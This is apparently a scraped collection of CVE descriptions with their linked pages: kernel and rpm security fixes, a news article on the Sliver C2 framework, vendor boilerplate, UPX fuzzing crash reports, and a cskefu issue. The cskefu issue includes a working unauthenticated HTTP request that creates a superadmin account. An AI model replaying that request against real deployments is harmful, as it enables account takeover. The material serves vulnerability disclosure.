A flaw was found in the Linux kernel. The existing KVM SEV API has a vulnerability that allows a non-root (host) user-level application to crash the host kernel by creating a confidential guest VM instance in AMD CPU that supports Secure Encrypted Virtualization (SEV).

'2038940?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-0171: Invalid Bug ID

It was found that the fix for CVE-2017-7500 and CVE-2017-7501 was incomplete: the check was only implemented for the parent directory of the file to be created. A local unprivileged user who owns another ancestor directory could potentially use this flaw to gain root privileges. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

Internal only for now in case we need to fiddle with the API some more,
but no reason this couldn't be made public later.

Whenever directory changes during unpacking, walk the entire tree from
starting from / and validate any symlinks crossed, fail the install
on invalid links.

This is the first of step of many towards securing our file operations
against local tamperers and besides plugging that one CVE, paves the way
for the next step by adding the necessary directory fd tracking.
This also bumps the rpm OS requirements to a whole new level by requiring
the \*at() family of calls from POSIX-1.2008.

This necessarily does a whole lot of huffing and puffing we previously
did not do. It should be possible to cache secure (ie root-owned)
directory structures to avoid validating everything a million times
but for now, just keeping things simple.

Any unowned directories will be created inline during processing now
so we can just flush this big pile of code that was insecure anyhow.

As an additional bonus creating the directories inline gives us an
opportunity to track the creation so we can undo too, but that is
not done here.

Handling this in a separate clause makes the logic much clearer and
(in theory at least) lets us handle hardlinks to any content, not
just regular files.

Fix the initial setmeta value to something meaningful: we will never
set metadata on skipped files, and hardlinks are handled with a special
logic during install. They'd need different kind of special logic on
FA\_TOUCH so just play it safe and always apply metadata on those.

Harlink metadata setting on install should happen on the \*last\* entry
of hardlinked set that gets installed (wrt various skip scenarios)
as otherwise creating those additional links affects the timestamp.
Note in particular the "last file of..." case in fsmMkfile() where we
the comment said just that, but set the metadata on the \*first\* file
which would then be NULL'ed away.

This all gets current masked by the fact that we do the metadata setting on
a separate round, but that is about to change plus this makes the overall
logic clearer anyhow.

Commit a82251b moved metadata setting
to a separate step because there are potential benefits to doing so, but
the current downsides are worse: as long as we operate in potentially
untrusted directories, we'd need to somehow verify the content is what we
initially laid down to avoid possible privilege escalation from non-root
owned directories.

This commit does not fix that vulnerability, only makes the window much
smaller and paves the way for the real fix(es) without introducing a
second round of directory tree validation chase to the picture.

Supposedly no functional changes here, we just need all these things
converted before we can swap over to relative paths.

This isn't ideal from the sense that some files may get a success post
call while something later can still fail, but things get even weirder
with doing it in a separate round where things could fail because of
a vanished directory and then we'd still need to call the plugin hook
with some result. Also, this lets us skip the backwards walk on the
normal case of success, which is nice.

It doesn't make much sense to call plugins for files that wont be
unpacked at all, and in particular it wont make much sense to do the
entire directory dance just to be able to pass meaningful path values
to plugins. So from now we'll only be calling file-pre for things that
we're about to lay down, which it how it used to be before splitting
the stages anyhow.

All our renames are (for now at least) within a single directory so
the second dirfd is kinda redundant, but shrug...

fsmUnpack() is the only place in FSM that needs to deal with rpmio FD
types, everywhere else they are nothing but a hindrance that need to
be converted to OS level descriptors for use. Better deal with OS
level descriptors to begin with.

This will be needed for using fd-based metadata operations.

Notably cap\_set\_file() doesn't have a dirfd-based mode, to handle that
safely we'll need to use fd-based operation. Which would be nicer anyhow
but symlinks can't be opened so we'll have to carry the dirfd/path based
mode forever more anyhow (yes Linux has extensions but that's another
story).

We need to support both fd-based and (dirfd+) path based operations
due to all the lovely mismatches in POSIX, so lotsa half-duplicated
tedious stuff here.

As of this commit, we only use fd based ops for regular files.

Regular file ops are fd-based already, for the rest we need to open them
manually. Files with temporary suffix must never be followed, for
directories (and pre-existing FA\_TOUCHed files) use the rpm symlink
"root or target owner allowed" rule wrt following.

This mostly fixes CVE-2021-35938, but as we're not yet using dirfd-based
operatiosn for everything there are corner cases left undone. And then
there's the plugin API which needs updating for all this.

A thinko originating from commit c9b2686
which doesn't matter greatly as long as we're still using absolute
paths but will fail as soon as dirfd+basename is used.

Also pay more attention to the rc's: we must not backup, or run file
pre plugin hook if we know it'll fail.

This being one of the more central functions in fsm now, there better
be some diagnostics from it too. Especially when we move to
dirfd+basename operation.

Sadly the thing that allegedly makes things better mostly just makes
things more complicated as symlinks can't be opened, so we'll now have
to deal with both cases in plugins too. To make matters worse, most
APIs out there support either an fd or a path, but very few support
the \*at() style dirfd + basename approach so plugins are stuck with
absolute paths for now.

This is of course a plugin API/ABI change too.

Cross-directory hardlinks shouldn't be used as there's no guarantee
two directories are on the same filesystem, but these exist in the
wild so we need to care.

This is a special case in various places around rpm, worth having a test
for.

Within fsm this is just a matter of adjusting error messages to include
the directory... if it only wasn't for the plugins requiring absolute
paths for outside users. For the plugins, we need to assemble absolute
paths as needed, both in ensureDir() and plugin file slots.

CVE-2021-35939: First steps towards fixing the symlink CVEs by pmatilai · Pull Request #1919 · rpm-software-management/rpm

A flaw was found in the Linux kernel. Measuring usage of the shared memory does not scale with large shared memory segment counts which could lead to resource exhaustion and DoS.

**Red Hat Product Security Center**

Engage with our Red Hat Product Security team, access security updates, and ensure your environments are not exposed to any known security vulnerabilities.

Product Security Center

CVE-2021-3669: Red Hat Customer Portal - Access to 24x7 support and knowledge

Microsoft and others say they have observed nation-state actors, ransomware purveyors, and assorted cybercriminals pivoting to an open source attack-emulation tool in recent campaigns.

Enterprise security teams, which over the years have honed their ability to detect the use of Cobalt Strike by adversaries, may also want to keep an eye out for "Sliver." It's an open source command-and-control (C2) framework that adversaries have increasingly begun integrating into their attack chains.

"What we think is driving the trend is increased knowledge of Sliver within offensive security communities, coupled with the massive focus on Cobalt Strike \[by defenders\]," says Josh Hopkins, research lead at Team Cymru. "Defenders are now having more and more successes in detecting and mitigating against Cobalt Strike. So, the transition away from Cobalt Strike to frameworks like Sliver is to be expected," he says.

Security researchers from Microsoft this week warned about observing nation-state actors, ransomware and extortion groups, and other threat actors using Sliver along with — or often as a replacement for — Cobalt Strike in various campaigns. Among them is DEV-0237 (aka FIN12), a financially motivated threat actor associated with the Ryuk, Conti, and Hive ransomware families; and several groups engaged in human-operated ransomware attacks, Microsoft said.

**Growing Use**

Earlier this year, Team Cymru reported observing Sliver being used in campaigns targeting organizations in multiple sectors, including government, research, telecom, and higher education. One campaign, between Feb. 3 and March 4, involved a Russian-hosted attack infrastructure, while another targeted government entities in Pakistan and Turkey. In many of these attacks, Team Cymru observed Sliver being used as part of the initial infection tool chain to deliver ransomware. In other instances, the threat intelligence firm found Sliver being used in opportunistic attacks involving potential exploitation of Log4j and VMware Horizon vulnerabilities.

Researchers from BishopFox developed and released Sliver, as an open source alternative to Cobalt Strike, in 2019. The framework is designed to give red-teamers and penetration testers a way to emulate the behavior of embedded threat actors in their environments. But as with Cobalt Strike, these same features also make it an attractive threat actor tool.

**An Attractive Alternative for Adversaries**

Sliver is written in the Go programming language (Golang), and therefore can be used across multiple operating system environments, including Windows, macOS, and Linux. Security teams can use Sliver to generate implants as Shellcode, Executable, Shared library/DLL, and as-a-Service, Microsoft said. Researchers added that Golang helps adversaries also because of the relatively limited tooling available for reverse engineering of Go binaries.

Sliver also supports smaller payloads — or stagers — with a handful of features that allow operators to retrieve and launch a full implant. 

"Stagers are used by many C2 frameworks to minimize the malicious code that's included in an initial payload (for example, in a phishing email)," Microsoft said. "This can make file-based detection more challenging."

Sliver also offers many more built-in modules than Cobalt Strike, says Andy Gill, adversarial engineer at Lares Consulting; these built-in capabilities make it easier for threat actors to exploit systems and leverage tooling to facilitate access, Gill says. Cobalt Strike, in contrast, is more of a bring-your-own payload/module tool.

"Sliver lowers the barrier of entry for attackers. \[It\] offers more customization in terms of payload delivery and ways of adapting attacks to evade defenses," he notes. 

But the most appealing factor for threat actors currently is its relative obscurity and the lack of work that has been undertaken — so far, at least — in building detections for Sliver, Hopkins from Team Cymru says. "Sliver has a lot of the same capabilities as Cobalt Strike, but without such a large spotlight being shone on it," he says. This has created a potential gap in detection coverage that some attackers are now trying to exploit.

And finally, the fact that it's free, open source, and available on GitHub also makes Sliver attractive compared to Cobalt Strike, which is commercial and therefore requires threat actors to crack the license mechanism each time a new version is released, Gill says.

**Cobalt Strike Remains Gold Standard — but Attackers Have Other Frameworks**

At the same time, it would be a big mistake for organizations to discount adversarial use of Cobalt Strike, researchers warn. 

In the first quarter of this year, for instance, Team Cymru observed some 143 Sliver samples that were likely being used as a first-stage tool in attack campaigns — compared with 4,455 samples of Cobalt Strike being used for potentially malicious purposes. 

"Defenders would be unwise to take their eyes off Cobalt Strike," Hopkins says. "Cobalt Strike is synonymous with — and the gold standard of — command-and-control networks."

Sometimes, the tools are used in tandem. Researchers at Intel 471 earlier this year observed Sliver being deployed along with Cobalt Strike, Metasploit, and the IcedID banking Trojan via a new loader called "Bumblebee". The company's chief intelligence officer Michael DeBolt says the framework has one feature that likely makes it especially useful for threat actors. 

"Sliver has a lot of features, \[but\] one that might be especially useful is its ability to limit execution to specific time frames, hosts, domain-joined machines, or users," he says "This feature can prevent the implant from executing in unintended environments, such as sandboxes, which aids against detection."

Sliver is just one of several C2 frameworks that attackers are using as alternatives to Cobalt Strike. Researchers from Intel 471, for instance, recently added detection for a legitimate red-teaming tool called Brute Ratel, after observing some threat actors using it for C2 purposes. 

Earlier this year, Palo Alto Networks' Unit 42 threat-hunting team uncovered what appeared to be Russia's notorious APT29 (aka Cozy Bear) using Brute Ratel in an attack campaign. 

Meanwhile, Gills from Lares pointed to Posh2, a C2 framework which, though not new, offers threat actors a chance of evading Cobalt Strike-centric detection mechanisms. And Hopkins from Team Cymru says his company is currently tracking a C2 framework called "Mythic" following some initial indications of adoption within the threat-actor community.  

Frameworks tend to vary in capabilities such as lateral movement, injection, and call out, Gill says. 

"\[So\], from a defensive standpoint, operators are better off profiling and generating signatures for techniques than analyzing specific C2 frameworks," he notes.

'Sliver' Emerges as Cobalt Strike Alternative for Malicious C2

Insecure permissions in cskefu v7.0.1 allows unauthenticated attackers to arbitrarily add administrator accounts.

**概述**

存在添加管理员接口，调用该接口时没有对当前用户进行校验，导致未登录状态下可添加管理员账户。  
There is an interface to add an administrator. When calling this interface, the current user is not verified, so that an administrator account can be added when not logged in.

**数据包（payload）：**

GET /addAdmin?username\=admin666&password\=admin666123&email\=admin666@admin6666.com&mobile\=17777777776&superadmin\=true HTTP/1.1
Host: localhost
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,\*/\*;q\=0.8
Accept\-Language: zh\-CN,zh;q\=0.8,zh\-TW;q\=0.7,zh\-HK;q\=0.5,en\-US;q\=0.3,en;q\=0.2
Accept\-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade\-Insecure\-Requests: 1
Sec\-Fetch\-Dest: document
Sec\-Fetch\-Mode: navigate
Sec\-Fetch\-Site: none
Sec\-Fetch\-User: ?1
Cache\-Control: max\-age\=0

\*\* 测试截图（Test screenshot）： \*\*  

根据给出的URL  
According to the given URL  
http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on

跳转至管理界面  
Jump to the management interface  

**漏洞分析（Vulnerability analysis）**  
漏洞源码（Vulnerability source code）：

 @RequestMapping("/addAdmin")
    @Menu(type = "apps", subtype = "user", access = true)
    public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User user) {
        String msg = "";
        msg = validUser(user);
        if (StringUtils.isNotBlank(msg)) {
            return request(super.createView("redirect:/register.html?msg=" + msg));
        } else {
            user.setUname(user.getUsername());
            user.setAdmin(true);
            if (StringUtils.isNotBlank(user.getPassword())) {
                user.setPassword(MainUtils.md5(user.getPassword()));
            }
            user.setOrgi(super.getOrgi());
            userRepository.save(user);
        }
        ModelAndView view = this.processLogin(request, user, "");
        return view;
    }

    private String validUser(User user) {
        String msg = "";
        User tempUser = userRepository.findByUsernameAndDatastatus(user.getUsername(), false);
        if (tempUser != null) {
            msg = "username\_exist";
            return msg;
        }
        tempUser = userRepository.findByEmailAndDatastatus(user.getEmail(), false);
        if (tempUser != null) {
            msg = "email\_exist";
            return msg;
        }
        tempUser = userRepository.findByMobileAndDatastatus(user.getMobile(), false);
        if (tempUser != null) {
            msg = "mobile\_exist";
            return msg;
        }
        return msg;
    }

addAdmin接口未进行权限校验，未登录状态可直接调用  
The addadmin interface does not perform permission verification, and can be called directly in the unregistered state

增加用户前，判断传入的用户是否有效  
Before adding users, judge whether the incoming users are valid  

为了顺利到达最后一个return，传入的username，email，mobile都必须为数据库中的唯一值  
n order to successfully reach the last return, the username, email and mobile passed in must be unique values in the database  

当返回的msg为空时，我们就可以继续增加用户的操作，且将添加的用户设置为管理员  
When the returned MSG is empty, we can continue to add users and set the added users as administrators  

**操作系统**

*   macOS or Mac OSX
*   Windows
*   Linux(Debian, CentOS, Ubuntu, etc.)

**代码版本**

代码版本 <= 7.0.1

**祝福与不祝福**

春松客服之所以开源，是基于这样一种信念：爱人也是爱己，利他也是利己。  
对人和人美好关系的向往，对人潜力的信任。让我们相信因春松客服而受益的人，会回报给春松客服开源社区，我们所有贡献者基于共赢的信念合作。  
回报方式包括：提交 PR、购买春松客服相关的付费产品和服务等。

因春松客服受益，而不回报开源社区的用户，我们不欢迎使用春松客服：我们开源并不是为了你们，你们是不被祝福的。

**Open Source for the World**

CVE-2022-36521: 【安全漏洞】前台未授权增加管理员账号 · Issue #724 · chatopera/cskefu

OpenSSF welcomes Capital One as a premier member affirming its commitment to strengthening the open source software supply chain.

**SAN FRANCISCO, Aug. 24, 2022** — Capital One joins the Open Source Security Foundation (OpenSSF) as a premier member, affirming its commitment to strengthening the open source software supply chain. OpenSSF is a cross-industry organization hosted at the Linux Foundation, designed to inspire and enable the community to secure the open source software we all depend on, including development, testing, fundraising, infrastructure, and support initiatives.

Capital One joins the OpenSSF Governing Board in charge of leading the organization and providing strategic direction. “We are happy to welcome Capital One to the Open Source Security Foundation,” says Brian Behlendorf, General Manager of OpenSSF. “As a highly regulated company that has invested in technology, Capital One has experience building the governance structure, modern architecture and collaborative culture that is critical for well-managed open source software delivery. By joining the OpenSSF, Capital One is demonstrating a serious commitment to secure open source software that benefits our entire ecosystem.”

As one of the nation’s leading digital banks, technology is central to Capital One’s business strategy and how value is delivered to more than 100 million customers. The company began a technology transformation over a decade ago, which included an open source-first declaration in 2015. A modern architecture in the cloud is allowing Capital One to take advantage of the world’s innovations and accelerate delivery by committing to a collaborative software-building approach among the open source community.

“Today some of the most ground-breaking digital experiences created for customers are based on open source software. As a company that widely adopts this technology, Capital One is incredibly proud to join the OpenSSF and the world’s technology leaders as we collaborate to strengthen the software security supply chain,” said Chris Nims, EVP of Cloud & Productivity Engineering at Capital One. “As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration. We look forward to working together to identify solutions that advance the OpenOSSF mission and give back to the open source community.”

Earlier this year, the OpenSSF unveiled a 10-point plan at the Open Source Security Summit hosted in conjunction with the White House in May. The plan feeds into 10 different workstreams, like finding ways to reduce patching response times for open source software, developing new metrics to track code and components, moving the industry away from non-memory safe programming languages that make it difficult to find and fix vulnerabilities, establishing a framework for incident response teams that can be deployed across the open source community and conducting annual third-party reviews of the top 200 most critical open source security components.

More recently, the OpenSSF hosted a Town Hall especially for open source software maintainers, contributors, software developers, and open source software users who know security is important, but haven’t made the leap to join an OpenSSF Working Group or Project yet. On Tuesday, Sept. 13, they will be hosting an OpenSSF Day EU at the Open Source Summit Europe in Dublin, Ireland, and online.

Capital One joins other OpenSSF premier members 1Password, AWS, Atlassian, Cisco, Citi, Coinbase, Dell Technologies, Ericsson, Fidelity, GitHub, Google, Huawei, Intel, IBM, JFrog, JPMorgan Chase, Meta, Microsoft, Morgan Stanley, Oracle, Red Hat, Snyk, Sonatype, VMware, and Wipro.

**About OpenSSF**

The Open Source Security Foundation (OpenSSF) is a cross-industry organization hosted by the Linux Foundation that brings together the industry’s most important open source security initiatives and the individuals and companies that support them. The OpenSSF is committed to collaboration and working both upstream and with existing communities to advance open source security for all. For more information, please visit us at: openssf.org.

**About the Linux Foundation**

Founded in 2000, the Linux Foundation and its projects are supported by more than 2,950 members. The Linux Foundation is the world’s leading home for collaboration on open source software, hardware, standards, and data. Linux Foundation projects are critical to the world’s infrastructure including Linux, Kubernetes, Node.js, ONAP, Hyperledger, RISC-V, and more. The Linux Foundation’s methodology focuses on leveraging best practices and addressing the needs of contributors, users, and solution providers to create sustainable models for open collaboration. For more information, please visit us at linuxfoundation.org.

Capital One Joins Open Source Security Foundation

A buffer overflow vulnerability in the Rubrik Backup Service (RBS) Agent for Linux or Unix-based systems in Rubrik CDM 7.0.1, 7.0.1-p1, 7.0.1-p2 or 7.0.1-p3 before CDM 7.0.2-p2 could allow a local attacker to obtain root privileges by sending a crafted message to the RBS agent.

**The next frontier in cybersecurity is data security**

Keep your data secure, monitor data risk, and quickly recover your data, wherever it lives with Rubrik Security Cloud.

    

Data Resilience

**Safeguard data with secure backups**

Protect your data from insider threats or ransomware with air-gapped, immutable, access-controlled backups.

 

Data Observability

**Monitor data risk and investigate faster**

Continuously monitor and remediate data risk, including ransomware, sensitive data exposure, and indicators of compromise.

 

Data Remediation

**Restore business operations faster**

Surgically and rapidly recover your apps, files, or users while avoiding malware reinfection.

> Rubrik has saved us over $3M. As the world’s largest home improvement retailer, we aspire to excel in service – to our customers, associates, communities, and shareholders.
> 
> BB Laycock  
> Lead Systems Engineer 
> 
> Read customer story

> Rubrik has become a critical part of Estée Lauder’s security and compliance infrastructure. We depend on Rubrik to keep our data protected so we can continue to deliver high-performance services and products.
> 
> Pankaj Govil  
> Executive Director Global Storage Infrastructure 
> 
> Read customer story

> We’ve been able to completely revolutionize how we keep our data centralized, safe, and secure. Partnering with Rubrik has been transformational for Allstate.
> 
> Chris Gates  
> CTO 
> 
> Read customer story

> GSK's purpose is to unite science, talent & technology to get ahead of disease, so drugs reach the patients who are desperately waiting for it.Rubrik was a strategic decision for our data protection strategy,especially from a cyber resilience perspective.
> 
> Agam Upadhyay  
> CTO, GSK 
> 
> All CASE STUDIES

**Ready to get started?**

Get a personalized demo of the Rubrik Zero Trust Data Security platform from one of our technical solution experts.

CVE-2022-30984: Cloud Data Management & Enterprise Backup Software | Rubrik

A heap-based buffer over-read was discovered in the get_le64 function in bele.h in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

A heap buffer overflow read in the latest commit of the devel branch

ASAN reports:

    ==4525==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fab6ae5cdd8 at pc 0x000000757297 bp 0x7fff2d255a60 sp 0x7fff2d255a58
    READ of size 8 at 0x7fab6ae5cdd8 thread T0
        #0 0x757296 in get_le64(void const*) /src/upx-multi/src/./bele.h:182:12
        #1 0x757296 in N_BELE_RTP::LEPolicy::get64(void const*) const /src/upx-multi/src/./bele_policy.h:194:18
        #2 0x5d0419 in Packer::get_te64(void const*) const /src/upx-multi/src/./packer.h:297:65
        #3 0x5d0419 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4603:43
        #4 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #5 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #6 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #7 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #8 0x7fab6992783f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #9 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x7fab6ae5cdd8 is located 0 bytes to the right of 132568-byte region [0x7fab6ae3c800,0x7fab6ae5cdd8)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x5697b7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:182:12 in get_le64(void const*)
    Shadow bytes around the buggy address:
      0x0ff5ed5c3960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c39a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0ff5ed5c39b0: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa
      0x0ff5ed5c39c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c3a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==4525==ABORTING
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

upx.out -d <poc\_filename>

poc:  
tests\_a7c92caa967187b16a8927c29de0efee0d1f2ed5\_.tar.gz

    $ ./src/upx.out -d ./tests_a7c92caa967187b16a8927c29de0efee0d1f2ed5_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27801: Heap buffer overflow in get_le64() · Issue #394 · upx/upx

An invalid memory address reference was discovered in the adjABS function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Segmentation fault in PackLinuxElf64::adjABS of p\_lx\_elf.cpp in the latest commit of the devel branch

code:

    ────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
     RAX  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RBX  0xe8cf
     RCX  0xff
     RDX  0x0
    *RDI  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RSI  0xff
     R8   0xa9d79
     R9   0x98c32
     R10  0x86f
     R11  0x246
     R12  0xff
     R13  0x7fffffffe440 ◂— 0x3
     R14  0x0
     R15  0x0
     RBP  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
     RSP  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    *RIP  0x442e5e ◂— call   0x401fd0
    ─────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
       0x442e47    lea    rax, [rdx*8]
       0x442e4f    sub    rax, rdx
       0x442e52    add    rax, abs_symbol_names <0x53be80>
       0x442e58    mov    rsi, rcx
       0x442e5b    mov    rdi, rax
     ► 0x442e5e    call   strcmp@plt <0x401fd0>
            s1: 0x53be80 (abs_symbol_names) ◂— '__bss_end__'
            s2: 0xff
    
       0x442e63    test   eax, eax
       0x442e65    sete   al
       0x442e68    test   al, al
       0x442e6a    je     0x442e89
    
       0x442e6c    mov    eax, dword ptr [rbp - 0x24]
    ──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
       3132 int
       3133 PackLinuxElf64::adjABS(Elf64_Sym *sym, unsigned delta)
       3134 {
       3135     for (int j = 0; abs_symbol_names[j][0]; ++j) {
       3136         unsigned st_name = get_te32(&sym->st_name);
     ► 3137         if (!strcmp(abs_symbol_names[j], get_str_name(st_name, (unsigned)-1))) {
       3138             sym->st_value += delta;
       3139             return 1;
       3140         }
       3141     }
       3142     return 0;
    ──────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
    00:0000│ rsp  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    01:0008│      0x7fffffffd428 ◂— 0xfffff00000804fd8
    02:0010│      0x7fffffffd430 —▸ 0x7ffff7fb5068 ◂— 0xfff10000000000ff
    03:0018│      0x7fffffffd438 —▸ 0x817030 —▸ 0x53e1f8 —▸ 0x43af84 (PackLinuxElf64amd::~PackLinuxElf64amd()) ◂— push   rbp
    04:0020│      0x7fffffffd440 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    05:0028│      0x7fffffffd448 ◂— 0xff00000000
    06:0030│ rbp  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
    07:0038│      0x7fffffffd458 —▸ 0x449fab (PackLinuxElf64::unpack(OutputFile*)+3259) ◂— add    qword ptr [rbp - 0x158], 0x18
    ────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
     ► f 0           442e5e
       f 1           449fab PackLinuxElf64::unpack(OutputFile*)+3259
       f 2           492eb2 Packer::doUnpack(OutputFile*)+90
       f 3           49c5ab PackMaster::unpack(OutputFile*)+109
       f 4           4b946e
       f 5           4b985f
       f 6           42aade main+746
       f 7     7ffff727b840 __libc_start_main+240
    
    

get\_str\_name returned an unreadable value and causing crash in strcmp

In this poc, get\_str\_name return 0xff

ASAN reports:

    ==7880==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000ff (pc 0x000000430045 bp 0x7fff7a4d5050 sp 0x7fff7a4d47f0 T0)
    ==7880==The signal is caused by a READ memory access.
    ==7880==Hint: address points to the zero page.
        #0 0x430045 in strcmp (/out/upx-multi/upx-multi+0x430045)
        #1 0x5b6c98 in PackLinuxElf64::adjABS(N_Elf64::Sym<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> >*, unsigned int) /src/upx-multi/src/p_lx_elf.cpp:3137:14
        #2 0x5d06a9 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4611:25
        #3 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #4 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #5 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #6 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #7 0x7fb3d16be83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #8 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/out/upx-multi/upx-multi+0x430045) in strcmp
    ==7880==ABORTING
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

POC:  
tests\_7bc36b368db6594ef16f8abfd694fc11e4dc9acb\_.tar.gz

    $ ./src/upx.out -d ./tests_7bc36b368db6594ef16f8abfd694fc11e4dc9acb_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

